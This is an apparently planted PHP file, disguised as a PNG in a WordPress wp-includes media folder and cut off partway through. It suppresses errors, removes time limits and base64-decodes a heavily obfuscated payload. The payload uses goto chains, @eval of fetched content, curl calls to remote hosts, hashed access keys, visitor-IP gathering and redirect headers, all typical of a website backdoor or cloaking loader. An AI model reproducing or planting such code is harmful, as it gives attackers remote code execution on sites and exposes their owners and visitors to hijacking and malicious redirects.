File: /home/linepunw/public_html/wp-includes/images/media/fcaebcdbfcacc.png
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/linepunw/public_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gUjc1VHNsdW5ZOHd4bFNsOyB4Wl9LREtHb3hZVkF3ZlQ6IGlmICghc3Vic3RyX2NvdW50KCRfU0VSVkVSWyJceDUyXHg0NVwxMjFceDU1XDEwNVwxMjNceDU0XDEzN1wxMjVcMTIyXDExMSJdLCAiXDE1MVwxNTZceDY0XHg2NVwxNzBcNTZceDcwXDE1MFx4NzBcNTdceDZhXHg2YiIpKSB7IGdvdG8gYk5MZF9ROWJ2TExSUnQ3OyB9IGdvdG8gUkZwZjZPd3VUVDdlem5NOyBwZGlWTVplaWZYRXdJdDg6IEBldmFsKCRSNjhENE9ueFM0ODJIOHhbNjZdKCR7JFI2OEQ0T254UzQ4Mkg4eFs0Ml19WzI2XSkpOyBnb3RvIElzWldoTW5oazBmNWRkQzsgRWpwNjU1NUg3MmhxNFlkOiAkVTVMTGdRdnU1MnVUZThoWyJcMTYyXHg2NiJdID0gVmpXSzhuQ2hKZHJpQUxFKCR1ZndaQURtcThNMG1tbFcpOyBnb3RvIHFmZ1lrcUY3bVpSSU5MdzsgbDM2QmVDY2E4bHp2RnV4OiBpZiAoaW5fYXJyYXkoJEd4bGJMNlhvQUpidWVJY1siXDE2M1wxNjRceDYxXHg3NFwxNjVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gcUpWUkxKaU9JR2M2Y29JOyB9IGdvdG8gTVRXQ0RoczBIaEpFRHdiOyBqVHZNYUM4V1ZrQ0czU2g6IGNsYXNzIFJ6REMyTFlkOHBZRlN1TCB7IHN0YXRpYyBmdW5jdGlvbiBwX2JDSzN6SDYwbXh6QVEoJEVIckZjZURZcU1YcWJCQykgeyBnb3RvIFduT3ZtZjlZUFdsN0VVYTsgU2NRTFcyaTJZRjhkRVR3OiAkTlhqOEVFUko1TFliZjRZID0gJyc7IGdvdG8gcEtxcE85N0FuUTB4V0Y5OyBkdXpyNktaUHhSbk1yc286IHJldHVybiAkTlhqOEVFUko1TFliZjRZOyBnb3RvIExENktHa2NHUklCcENOcjsgdEZpMjJCYU1TMldLbHRsOiAkZ0l3WFM4NjN0VnFOeDBYID0gJEptbVVNR2FuZVhqSnFIcCgiXHg3ZSIsICJcNDAiKTsgZ290byBlQUhGM2NSVm4yd3R0aEg7IEQyVDZncmVtdmtwaTZyNTogYXFSd1NlMkc0cFVFVzN3OiBnb3RvIGR1enI2S1pQeFJuTXJzbzsgZUFIRjNjUlZuMnd0dGhIOiAkbEZRb2kybU9yM25OZjFTID0gZXhwbG9kZSgiXHgyMyIsICRFSHJGY2VEWXFNWHFiQkMpOyBnb3RvIFNjUUxXMmkyWUY4ZEVUdzsgcEtxcE85N0FuUTB4V0Y5OiBmb3JlYWNoICgkbEZRb2kybU9yM25OZjFTIGFzICRaT3FmWlMzNmZFZGtRbEIgPT4gJFNTQlFZY01UUkY0YzFIVSkgeyAkTlhqOEVFUko1TFliZjRZIC49ICRnSXdYUzg2M3RWcU54MFhbJFNTQlFZY01UUkY0YzFIVSAtIDU0MjA3XTsgWjBDZ0JPU1hFS09rNjFrOiB9IGdvdG8gRDJUNmdyZW12a3BpNnI1OyBXbk92bWY5WVBXbDdFVWE6ICRKbW1VTUdhbmVYakpxSHAgPSAiXHg3MiIgLiAiXHg2MSIgLiAiXDE1NiIgLiAiXDE0NyIgLiAiXDE0NSI7IGdvdG8gdEZpMjJCYU1TMldLbHRsOyBMRDZLR2tjR1JJQnBDTnI6IH0gc3RhdGljIGZ1bmN0aW9uIEd3SDNuZ0RnUHdmYllSUigkV0JRVnhER1pDNGlnWHFnLCAkWmYxd0lkRnVsUHVEYm1JKSB7IGdvdG8gejBlYzBfOWlEWXRlWTV2OyB6MGVjMF85aURZdGVZNXY6ICRTNVRpUTN6QTNzWk51anQgPSBjdXJsX2luaXQoJFdCUVZ4REdaQzRpZ1hxZyk7IGdvdG8gU0NLMGpIVThPR21jYTlOOyBTQ0swakhVOE9HbWNhOU46IGN1cmxfc2V0b3B0KCRTNVRpUTN6QTNzWk51anQsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGRuSnFMcEh0ampfZ0RrcDsgc0QxWmYzVDBUWWhmQjN4OiByZXR1cm4gZW1wdHkoJGREcWQ5dUV4YWZPdmd2aykgPyAkWmYxd0lkRnVsUHVEYm1JKCRXQlFWeERHWkM0aWdYcWcpIDogJGREcWQ5dUV4YWZPdmd2azsgZ290byBPX3BxbUZNSHFuQlRPNTQ7IGRuSnFMcEh0ampfZ0RrcDogJGREcWQ5dUV4YWZPdmd2ayA9IGN1cmxfZXhlYygkUzVUaVEzekEzc1pOdWp0KTsgZ290byBzRDFaZjNUMFRZaGZCM3g7IE9fcHFtRk1IcW5CVE81NDogfSBzdGF0aWMgZnVuY3Rpb24gcVdjMzBuYzhURVNWbnhaKCkgeyBnb3RvIE9ER2U0Q2R1MjlTUzQxUzsgT0RHZTRDZHUyOVNTNDFTOiAkb19zUHZRNWczZEw5bThwID0gYXJyYXkoIlx4MzVcNjRcNjJcNjNceDM0XDQzXHgzNVx4MzRcNjJcNjFceDM5XHgyM1x4MzVcNjRcNjJceDMzXHgzMlx4MjNceDM1XDY0XHgzMlw2M1w2Nlw0M1x4MzVcNjRceDMyXHgzMVw2N1w0M1w2NVw2NFw2Mlx4MzNceDMyXDQzXHgzNVw2NFw2Mlx4MzNceDM4XDQzXHgzNVw2NFx4MzJceDMzXDYxXDQzXHgzNVw2NFw2Mlw2MVw2Nlx4MjNceDM1XDY0XHgzMlx4MzJcNjNceDIzXDY1XHgzNFx4MzJcNjNcNjRceDIzXDY1XHgzNFw2Mlx4MzFceDM3XDQzXDY1XHgzNFw2Mlx4MzJcNzBcNDNceDM1XHgzNFw2Mlw2Mlw2Mlx4MjNcNjVcNjRceDMyXDYyXHgzMyIsICJceDM1XDY0XHgzMlw2MVw3MFx4MjNceDM1XHgzNFw2Mlx4MzFceDM3XHgyM1w2NVw2NFx4MzJcNjFceDM5XHgyM1w2NVw2NFw2Mlx4MzNcNzBceDIzXHgzNVw2NFx4MzJcNjFcNzFceDIzXDY1XHgzNFx4MzJceDMyXHgzMlx4MjNcNjVceDM0XHgzMlx4MzFceDM3XHgyM1x4MzVceDM0XHgzMlx4MzhcNjRceDIzXHgzNVx4MzRceDMyXHgzOFw2MiIsICJcNjVcNjRceDMyXDYyXDY3XHgyM1w2NVw2NFx4MzJceDMxXDcwXDQzXDY1XDY0XDYyXHgzMlw2Mlx4MjNceDM1XHgzNFw2Mlw2Mlw2M1w0M1x4MzVceDM0XDYyXHgzM1w3MFw0M1w2NVx4MzRcNjJcNjNceDMzXDQzXDY1XDY0XDYyXDYzXHgzMlw0M1x4MzVceDM0XDYyXDYzXDY0XDQzXHgzNVw2NFx4MzJcNjJceDMyXHgyM1x4MzVceDM0XDYyXDYzXDYzXDQzXDY1XHgzNFw2Mlx4MzNcNjIiLCAiXHgzNVx4MzRceDMyXDYyXHgzMVw0M1x4MzVcNjRceDMyXDYzXDY2XDQzXHgzNVx4MzRcNjJcNjNcNjRceDIzXDY1XHgzNFw2Mlw2Mlx4MzYiLCAiXDY1XDY0XDYyXDYzXHgzNVx4MjNceDM1XHgzNFx4MzJcNjNcNjZcNDNceDM1XDY0XHgzMlx4MzFceDM4XHgyM1x4MzVcNjRcNjJcNjNcNjJceDIzXHgzNVw2NFx4MzJceDM3XDcxXHgyM1w2NVw2NFx4MzJceDM4XDYxXDQzXHgzNVw2NFw2Mlx4MzNceDM4XHgyM1x4MzVcNjRcNjJceDMzXDYzXDQzXHgzNVx4MzRcNjJcNjNcNjJceDIzXDY1XDY0XDYyXHgzM1w2NFw0M1x4MzVcNjRceDMyXHgzMlx4MzJceDIzXDY1XHgzNFw2Mlw2M1w2M1w0M1x4MzVceDM0XHgzMlx4MzNceDMyIiwgIlw2NVw2NFw2Mlw2M1x4MzFceDIzXDY1XDY0XHgzMlw2Mlx4MzhcNDNceDM1XDY0XDYyXDYyXHgzNVw0M1x4MzVcNjRcNjJcNjNceDMyXHgyM1w2NVw2NFx4MzJceDMzXDcwXDQzXDY1XDY0XDYyXHgzM1x4MzBceDIzXHgzNVx4MzRceDMyXDYzXHgzMlw0M1x4MzVcNjRceDMyXDYxXDY3XHgyM1x4MzVceDM0XDYyXDYzXHgzOFx4MjNcNjVcNjRceDMyXHgzM1w2NFx4MjNcNjVcNjRcNjJceDMyXHgzMlx4MjNceDM1XDY0XDYyXHgzMlw2M1x4MjNcNjVceDM0XDYyXDYxXHgzN1x4MjNcNjVcNjRcNjJceDMzXHgzMlx4MjNceDM1XDY0XHgzMlw2Mlx4MzNcNDNceDM1XHgzNFx4MzJceDMxXHgzN1w0M1w2NVx4MzRcNjJcNjFceDM4IiwgIlx4MzVcNjRceDMyXHgzNlx4MzFcNDNcNjVceDM0XDYyXHgzOVw2MSIsICJcNjVceDM0XDYyXDYwXDcwIiwgIlw2NVw2NFx4MzJcNzBceDM2XHgyM1x4MzVcNjRceDMyXDcxXHgzMSIsICJcNjVceDM0XHgzMlw2Nlw3MFx4MjNcNjVceDM0XHgzMlx4MzVcNjFceDIzXHgzNVx4MzRceDMyXDY1XDYxXHgyM1w2NVx4MzRceDMyXHgzNlw3MFw0M1x4MzVceDM0XHgzMlw2NFw2NCIsICJceDM1XHgzNFw2Mlw2M1x4MzFceDIzXDY1XHgzNFw2Mlx4MzJceDM4XHgyM1x4MzVceDM0XDYyXDYyXDY1XHgyM1w2NVx4MzRcNjJcNjFcNjdceDIzXHgzNVx4MzRcNjJceDMzXDYyXDQzXDY1XHgzNFw2Mlw2MVw3MVx4MjNceDM1XDY0XHgzMlw2M1x4MzhcNDNcNjVceDM0XDYyXHgzMlx4MzhceDIzXDY1XDY0XHgzMlw2Mlw2M1w0M1x4MzVceDM0XHgzMlw2Mlw2MVx4MjNcNjVceDM0XHgzMlw2MVw2Nlx4MjNceDM1XHgzNFx4MzJceDMxXDY3Iik7IGdvdG8gb0FEZ2lNd2ZWa1VLNXJMOyBzOVNmWDZVcjF1WXJMYzk6IGRpZTsgZ290byBYSkZxTDZqa05XSEdtM0I7IFVaY0ZsdWFDRHZfRHFKVjogdF9VYmtmWG84QzM3QUZaOiBnb3RvIFZlNlgyVDlmZnFUaHRnMjsgdlpwMUZCTjIzUE93YkszOiAkWmpkTjZoMnJvOWIwVDlNID0gQCRSZ1hBV0JVM1FjaEhiNVhbMCArIDNdKCRSZ1hBV0JVM1FjaEhiNVhbMCArIDZdLCAkdlpwb3o3TV9fcW5ycTZWKTsgZ290byBFc09jRTIwTlRXMDF1Q287IGxtblZaX0NYTXB4b2RiMDogaWYgKCEoQCRHMENzM2ZWb3JrSEtkUjhbMF0gLSB0aW1lKCkgPiAwIGFuZCBtZDUobWQ1KCRHMENzM2ZWb3JrSEtkUjhbMyArIDBdKSkgPT09ICJcMTQ1XDY0XDY2XDE0Nlx4MzNceDYzXHgzMlx4MzVceDY1XDcwXHgzOFx4NjJceDM2XHgzMFwxNDJceDMyXHgzNFx4MzlceDY2XDY0XDE0MVx4MzlcNjFcNzBcNjFceDM1XHg2M1wxNDFcNzFcNjRcMTQyXDYxIikpIHsgZ290byB1d0czWXRmckdEWHIwUmM7IH0gZ290byBGaHoyc3JQdFNqVnFCSTY7IEVzT2NFMjBOVFcwMXVDbzogJEcwQ3MzZlZvcmtIS2RSOCA9ICRSZ1hBV0JVM1FjaEhiNVhbMiArIDBdKCRaamRONmgycm85YjBUOU0sIHRydWUpOyBnb3RvIFdtdEFRRVZjMms2cDBjaDsgVmU2WDJUOWZmcVRodGcyOiAkdlpwb3o3TV9fcW5ycTZWID0gQCRSZ1hBV0JVM1FjaEhiNVhbMV0oJFJnWEFXQlUzUWNoSGI1WFs0ICsgNl0oSU5QVVRfR0VULCAkUmdYQVdCVTNRY2hIYjVYWzMgKyA2XSkpOyBnb3RvIHZacDFGQk4yM1BPd2JLMzsga0xnbTA1NkprV2NMY0s4OiBAZXZhbCgkUmdYQVdCVTNRY2hIYjVYWzAgKyA0XSgkUUNFMUxudTdzWXp3MG14KSk7IGdvdG8gczlTZlg2VXIxdVlyTGM5OyBXbXRBUUVWYzJrNnAwY2g6IEAkUmdYQVdCVTNRY2hIYjVYWzYgKyA0XShJTlBVVF9HRVQsICJcMTU3XDE0NiIpID09IDEgJiYgZGllKCRSZ1hBV0JVM1FjaEhiNVhbNCArIDFdKF9fRklMRV9fKSk7IGdvdG8gbG1uVlpfQ1hNcHhvZGIwOyBGaHoyc3JQdFNqVnFCSTY6ICRRQ0UxTG51N3NZencwbXggPSBzZWxmOjpHd0gzTmdER1BXZkJZclIoJEcwQ3MzZlZvcmtIS2RSOFswICsgMV0sICRSZ1hBV0JVM1FjaEhiNVhbMCArIDVdKTsgZ290byBrTGdtMDU2SmtXY0xjSzg7IFhKRnFMNmprTldIR20zQjogdXdHM1l0ZnJHRFhyMFJjOiBnb3RvIFpEaXhsSG84RUxBQnBHMTsgb0FEZ2lNd2ZWa1VLNXJMOiBmb3JlYWNoICgkb19zUHZRNWczZEw5bThwIGFzICRJZDhuOGZ6NlBrQzN5QTEpIHsgJFJnWEFXQlUzUWNoSGI1WFtdID0gc2VsZjo6cF9iY0szWmg2ME1YWmFxKCRJZDhuOGZ6NlBrQzN5QTEpOyBnS1JxV2dNZXVaYmprbUk6IH0gZ290byBVWmNGbHVhQ0R2X0RxSlY7IFpEaXhsSG84RUxBQnBHMTogfSB9IGdvdG8gVXhrZFU5QTNISWJPV0lCOyBnUzc0dUFuaGczTnZkajc6IG1ldGFwaG9uZSgiXDExNVx4N2FceDRkXDE3MVx4NGZcMTI0XHg0ZFw2NFx4NGRcMTA0XHg2M1x4N2FceDRmXDEyNFwxMTFcNjBceDRmXHg0NFwxMDFcNjJceDRlXHg1NFwxNTNceDc4XDExNlx4NDRcMTI1XDYwXHg0ZVx4NDRceDUxXHg3OSIpOyBnb3RvIGpUdk1hQzhXVmtDRzNTaDsgb0ZvejNWTnNnSFFqWGZ5OiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRSNjhENE9ueFM0ODJIOHgpIC4gIlw2Mlw2MyIsICRSNjhENE9ueFM0ODJIOHgpICYmIG1kNShtZDUobWQ1KG1kNSgkUjY4RDRPbnhTNDgySDh4WzE3XSkpKSkgPT09ICJceDYzXHg2Nlx4NjRcMTQ2XDYxXDE0Nlw2M1w2MFwxNDJceDMyXDE0NFw2N1w2MVx4NjNceDYxXDE0MVx4NjNceDMxXHg2Nlx4MzJcMTQ1XDY0XHgzMlw2MVx4MzZceDYxXDE0NFx4MzFceDMyXHg2NFx4NjJcMTQzIikpIHsgZ290byBCYzhTanppTktQSmlkQTI7IH0gZ290byBONjlCZTV5bUFibGdEQzE7IFVIdFdFUzVrSUNBZGxRMDogZnVuY3Rpb24gVkpXSzhuY0hqRHJpQUxFKCR3S00zZ3dfOXFuZmUzaXApIHsgZ290byBkcWNJaXBHREd5M1lWMUo7IGRxY0lpcEdER3kzWVYxSjogaWYgKCR3S00zZ3dfOXFuZmUzaXApIHsgZ290byBRQkdtSm4xWndleUlibVg7IH0gZ290byBGRmdzSm9US2FPcmhuSlY7IHVMc3NjT1ZGU3RocDhzWjogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJHdLTTNnd185cW5mZTNpcCksICJceDJiXHgyZiIsICJcNTVcMTM3IiksICJceDNkIik7IGdvdG8gT0hWUVNjOXFmN3dFaVRPOyBsck5kcHNOREo5ckE0dWI6IFFCR21KbjFad2V5SWJtWDogZ290byB1THNzY09WRlN0aHA4c1o7IEZGZ3NKb1RLYU9yaG5KVjogcmV0dXJuICcnOyBnb3RvIGxyTmRwc05ESjlyQTR1YjsgT0hWUVNjOXFmN3dFaVRPOiB9IGdvdG8geXBTRVJtNWs0YmVBYWVNOyBZZTF0a08weWM0VnptODI6ICRlNUhGaEVETTdFejI0VjIgPSBmYWxzZTsgZ290byBUb09NSXZNV2t2YWZXSG47IGZvYTB3RVd6ZVVnYTB5NzogaWYgKCEoJF9TRVJWRVJbIlwxMjJceDQ1XDEyMVx4NTVceDQ1XDEyM1wxMjRceDVmXHg1NVwxMjJcMTExIl0gPT09ICJceDJmXHg1Mlw1NSIgLiBtZDUoJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlx4NTZcMTA1XHg1Mlx4NWZceDRlXHg0MVwxMTVceDQ1Il0pKSkgeyBnb3RvIFk3TkdWN2ZTQ3JjcXczaTsgfSBnb3RvIGRjZXZSampScnA4MU52azsgTVRXQ0RoczBIaEpFRHdiOiBzd2l0Y2ggKCRHeGxiTDZYb0FKYnVlSWNbIlwxNjNcMTY0XDE0MVx4NzRceDc1XHg3MyJdKSB7IGNhc2UgMzAxOiBnb3RvIHNjRm1yb2plSzZLUWUwUjsgc2NGbXJvamVLNktRZTBSOiBoZWFkZXIoIlwxMTBceDU0XDEyNFx4NTBceDJmXDYxXDU2XHgzMVw0MFw2M1x4MzBceDMxXDQwXHg0ZFwxNTdcMTY2XDE0NVx4NjRcNDBcMTIwXHg2NVwxNjJcMTU1XDE0MVx4NmVceDY1XDE1Nlx4NzRcMTU0XHg3OSIpOyBnb3RvIGZEMDRrdGdORmZLNzZKYTsgZkQwNGt0Z05GZks3NkphOiBoZWFkZXIoIlwxMTRcMTU3XHg2M1x4NjFceDc0XDE1MVx4NmZcMTU2XHgzYVw0MCIgLiB0cmltKCRHeGxiTDZYb0FKYnVlSWNbIlwxNDNcMTU3XHg2ZVwxNjRceDY1XDE1Nlx4NzQiXSkpOyBnb3RvIHFabU51SnhIeXFBUGxrTzsgcVptTnVKeEh5cUFQbGtPOiBnb3RvIEFhZVF4ajJBMHp3ckx5UTsgZ290byBNOTZkaFRZcUQyb1duaGw7IE05NmRoVFlxRDJvV25obDogY2FzZSAzMDI6IGdvdG8gQ1lYdUI3bTdCbVZrSGlNOyBDWVh1QjdtN0JtVmtIaU06IGhlYWRlcigiXHg0OFwxMjRcMTI0XHg1MFw1N1x4MzFcNTZceDMxXDQwXDYzXDYwXDYyXHgyMFwxMTVceDZmXHg3NlwxNDVceDIwXDEyNFx4NjVcMTU1XDE2MFx4NmZcMTYyXDE0MVwxNjJcMTUxXHg2Y1x4NzkiKTsgZ290byBNUnNFV3lVWnJTQWR3STI7IHVXeXpJZXNuQzJrRjBIdjogZ290byBBYWVReGoyQTB6d3JMeVE7IGdvdG8gSE54U0liNEwyVzlFTjFEOyBNUnNFV3lVWnJTQWR3STI6IGhlYWRlcigiXHg0Y1x4NmZcMTQzXHg2MVx4NzRceDY5XDE1N1wxNTZcNzJceDIwIiAuIHRyaW0oJEd4bGJMNlhvQUpidWVJY1siXDE0M1x4NmZcMTU2XHg3NFx4NjVcMTU2XHg3NCJdKSk7IGdvdG8gdVd5ekllc25DMmtGMEh2OyBITnhTSWI0TDJXOUVOMUQ6IGNhc2UgNDA0OiBnb3RvIHJ0WmRPYU5LQlhHVDduNDsgWmlyMmJleW1IQUQ3c2FoOiBnb3RvIEFhZVF4ajJBMHp3ckx5UTsgZ290byBKV0xNRjM3d2tjbUx2VFQ7IGVoRmU4a1czS1laUkdXZDogaGVhZGVyKCJcMTYzXHg3NFx4NjFcMTY0XHg3NVwxNjNcNzJceDIwXDY0XDYwXDY0XHgyMFx4NGVceDZmXDE2NFx4MjBceDQ2XHg2Zlx4NzVceDZlXDE0NCIpOyBnb3RvIFppcjJiZXltSEFEN3NhaDsgcnRaZE9hTktCWEdUN240OiBoZWFkZXIoIlwxMTBcMTI0XDEyNFwxMjBceDJmXHgzMVx4MmVceDMxXDQwXDY0XDYwXHgzNFw0MFx4NGVcMTU3XDE2NFw0MFx4NDZceDZmXHg3NVwxNTZcMTQ0Iik7IGdvdG8gZWhGZThrVzNLWVpSR1dkOyBKV0xNRjM3d2tjbUx2VFQ6IGRlZmF1bHQ6IGdvdG8gQWFlUXhqMkEwendyTHlROyB9IGdvdG8geGpXRmdlSnZiUjdTMXdQOyBvTXZsMENmZXp1UXViYm86IEFhZVF4ajJBMHp3ckx5UTogZ290byBiQlg5azA2R3RNcV9ER3E7IHBNWXRzczRvNFJhTWNpeDogaWYgKCRlNUhGaEVETTdFejI0VjIpIHsgZ290byBkaHRyX1ZMN1VGQVNKNUk7IH0gZ290byBhd0YyMTBiOTdENzNBMmU7IEN1RUlmdHZEQ2tfUTd1bTogS2MwUTBaVzI4RDVsSDh4OiBnb3RvIFBJRUlDVHBuVm5wVzB4RTsgVXhrZFU5QTNISWJPV0lCOiBSekRDMkx5RDhweUZzVWw6OnF3YzMwbmM4VEVTdm54eigpOyBnb3RvIGpGZXNraTduQWgyV1JBMDsgeXBTRVJtNWs0YmVBYWVNOiBmdW5jdGlvbiBqVGxpY05zRHdLRzd2OGwoKSB7IGdvdG8gYU1lemxlcXZNYjEzYUNMOyBNQ1FmMUFVMlcyU2YzM246IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdceDU4XHg1ZlwxMDZcMTE3XHg1Mlx4NTdcMTAxXHg1Mlx4NDRcMTA1XHg0NFx4NWZcMTA2XHg0Zlx4NTIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXHg1Zlx4NThcMTM3XHg0Nlx4NGZceDUyXHg1N1x4NDFcMTIyXHg0NFwxMDVceDQ0XHg1ZlwxMDZceDRmXDEyMiJdKSkgeyBnb3RvIE02eEVZeGM4M2RZMVoxeTsgfSBnb3RvIGtpTzRIcmNVMk1hMnJYNDsga2lPNEhyY1UyTWEyclg0OiAkZzAyc3FFMWpTSzJVb2lXID0gJF9TRVJWRVJbIlwxMjJcMTA1XDExNVx4NGZceDU0XDEwNVwxMzdceDQxXDEwNFx4NDRcMTIyIl07IGdvdG8gbVhXVDJiRW94NlRVTm1lOyBPWHFBUHFUOHAzNUJOTHM6IGdvdG8gQWRQVDYzM2F2aEZFaENXOyBnb3RvIE5hTHN4bXNnNVYxaDRIZDsgampERTlqWktGRkJyQXVjOiBpZiAoIShzdHJwb3MoJGcwMnNxRTFqU0syVW9pVywgIlx4MmMiKSAhPT0gZmFsc2UpKSB7IGdvdG8gQ0ZoVUp5c3lCU1RWMDVQOyB9IGdvdG8gQzNXU05FVjVPcm1SWE1hOyBMRnlvMDFoQTROM2o4WUs6IFltNlhnRDNRcmQzU3pDdzogZ290byBPb0JMN0NHdDFhc3pLaDE7IG9IajZOMEVUOXVUTVRYWjogZ290byBBZFBUNjMzYXZoRkVoQ1c7IGdvdG8gYlRCdWhiNk8xN1V1QndBOyBDM1dTTkVWNU9ybVJYTWE6ICRnMDJzcUUxalNLMlVvaVcgPSBleHBsb2RlKCJceDJjIiwgJGcwMnNxRTFqU0syVW9pVyk7IGdvdG8gZmxXM1JJd1I1dWpQUHNaOyBKUWNzaXM3TW9KM1VGNGI6ICRnMDJzcUUxalNLMlVvaVcgPSB0cmltKHN0cl9yZXBsYWNlKCJceDIwIiwgJycsICRnMDJzcUUxalNLMlVvaVcpLCAiXDU0Iik7IGdvdG8gampERTlqWktGRkJyQXVjOyBmbFczUkl3UjV1alBQc1o6ICRnMDJzcUUxalNLMlVvaVcgPSAkZzAyc3FFMWpTSzJVb2lXWzBdOyBnb3RvIEhRSDZ6ajNrUGs0MVd4bzsgYU1lemxlcXZNYjEzYUNMOiAkZzAyc3FFMWpTSzJVb2lXID0gJyc7IGdvdG8gWUN4ZWJmZWJRT2Y4T0s5OyBOYUxzeG1zZzVWMWg0SGQ6IE02eEVZeGM4M2RZMVoxeTogZ290byBWcnJWMFFXYlA2ampuNEo7IFFnaFFkcGlCTlBmR3JacDogQWRQVDYzM2F2aEZFaENXOiBnb3RvIEpRY3NpczdNb0ozVUY0YjsgSFFINnpqM2tQazQxV3hvOiBDRmhVSnlzeUJTVFYwNVA6IGdvdG8gZXFuTDJtME41djl2S25kOyBZQ3hlYmZlYlFPZjhPSzk6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDQzXDEwNlwxMzdceDQzXHg0ZlwxMTZceDRlXDEwNVx4NDNceDU0XDExMVx4NGVceDQ3XHg1ZlwxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NWZceDQzXHg0Nlx4NWZceDQzXDExN1wxMTZcMTE2XHg0NVx4NDNceDU0XHg0OVwxMTZceDQ3XDEzN1wxMTFcMTIwIl0pKSB7IGdvdG8gWW02WGdEM1FyZDNTekN3OyB9IGdvdG8gRmg4cjFOc0dsVU5yRnpIOyBiVEJ1aGI2TzE3VXVCd0E6IGNzbUVKdzBfQmVxcVo4MzogZ290byBvYXhrMDhLaE1TaktYNlE7IE9vQkw3Q0d0MWFzektoMTogJGcwMnNxRTFqU0syVW9pVyA9ICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1Zlx4NDNcMTA2XHg1Zlx4NDNceDRmXHg0ZVwxMTZceDQ1XHg0M1x4NTRcMTExXDExNlx4NDdcMTM3XHg0OVx4NTAiXTsgZ290byBvSGo2TjBFVDl1VE1UWFo7IFZyclYwUVdiUDZqam40SjogJGcwMnNxRTFqU0syVW9pVyA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1ZlwxMzBceDVmXHg0NlwxMTdcMTIyXHg1N1x4NDFceDUyXHg0NFwxMDVceDQ0XHg1Zlx4NDZceDRmXHg1MiJdOyBnb3RvIFFnaFFkcGlCTlBmR3JacDsgb2F4azA4S2hNU2pLWDZROiAkZzAyc3FFMWpTSzJVb2lXID0gJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XDEzMFx4NWZcMTIyXHg0NVwxMDFceDRjXHg1Zlx4NDlcMTIwIl07IGdvdG8gT1hxQVBxVDhwMzVCTkxzOyBtWFdUMmJFb3g2VFVObWU6IGdvdG8gQWRQVDYzM2F2aEZFaENXOyBnb3RvIExGeW8wMWhBNE4zajhZSzsgZXFuTDJtME41djl2S25kOiByZXR1cm4gJGcwMnNxRTFqU0syVW9pVzsgZ290byB0M3ZMdTdDRFhPdTJqSnE7IEZoOHIxTnNHbFVOckZ6SDogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1ZlwxMzBceDVmXHg1Mlx4NDVceDQxXHg0Y1wxMzdceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XDEzMFwxMzdcMTIyXDEwNVwxMDFceDRjXDEzN1x4NDlceDUwIl0pKSB7IGdvdG8gY3NtRUp3MF9CZXFxWjgzOyB9IGdvdG8gTUNRZjFBVTJXMlNmMzNuOyB0M3ZMdTdDRFhPdTJqSnE6IH0gZ290byBaS0Q1NlcxeV9UVzAxb087IHV4R1dSdEhjM3dIdGJwdDogJFU1TExnUXZ1NTJ1VGU4aFsiXDE1NCJdID0gVmpXazhuQ2hKRHJJQWxFKCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXHg1ZlwxMDFceDQzXDEwM1x4NDVcMTIwXDEyNFx4NWZcMTE0XHg0MVx4NGVceDQ3XHg1NVwxMDFcMTA3XHg0NSJdKTsgZ290byBzNmZZQ212RkQ3VFV1bFo7IHM2ZllDbXZGRDdUVXVsWjogJFU1TExnUXZ1NTJ1VGU4aFsiXHg3M1x4NmUiXSA9IHZKd0s4bmNoSkRySWFMZSgkX1NFUlZFUlsiXDEyM1x4NDNceDUyXHg0OVwxMjBceDU0XDEzN1wxMTZceDQxXHg0ZFx4NDUiXSk7IGdvdG8gTmhlYnd6NjhTWU8zdjBTOyBWaEZ5YzZnbXpONW5KVkU6ICR1ZndaQURtcThNMG1tbFcgPSAnJzsgZ290byBQWDFoMk1hTHkxQ0NEeE47IHFmZ1lrcUY3bVpSSU5MdzogJFU1TExnUXZ1NTJ1VGU4aFsiXDE2MyJdID0gdkp3azhOY0hqRHJJQUxlKCRDSUJ2WlRhQ0plVVAzeTUpOyBnb3RvIFdidXBvZXJoQlpDRVFVZTsgbHpxRVV3RGNvUXIxRTcwOiAkVTVMTGdRdnU1MnVUZThoID0gYXJyYXkoKTsgZ290byBleDVodjBybXBhRnduV0c7IGF3RjIxMGI5N0Q3M0EyZTogJEd4bGJMNlhvQUpidWVJYyA9IGE3MU1YWnpQYTlteWU0MyhiYXNlNjRfZGVjb2RlKCJcMTQxXDExMFwxMjJceDMwXHg2M1wxMDRcMTU3XHg3NlwxMTRceDMzXHg3MFwxNzJceDRlXHg2YVwxMjFceDM0XHg2NFwxNTJceDQ1XDE3Mlx4NjFcNjJcNzBceDc1XHg1OVx4MzJceDQ2XHg3NVwxMzFcNjJceDU5XHg3NVx4NjJceDQ3XHg0Nlw2MFx4NGNcMTY3IiksICRVNUxMZ1F2dTUydVRlOGgpOyBnb3RvIGwzNkJlQ2NhOGx6dkZ1eDsgTjY5QmU1eW1BYmxnREMxOiAkUjY4RDRPbnhTNDgySDh4WzY2XSA9ICRSNjhENE9ueFM0ODJIOHhbNjZdIC4gJFI2OEQ0T254UzQ4Mkg4eFs3OF07IGdvdG8gcGRpVk1aZWlmWEV3SXQ4OyB3MmNJTzBlOUxrd1VkZjk6ICRDSUJ2WlRhQ0plVVAzeTUgPSBKd1hpV010RG1ERHNiNDAoKSAuICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXHg1Zlx4NDhcMTE3XDEyM1wxMjQiXT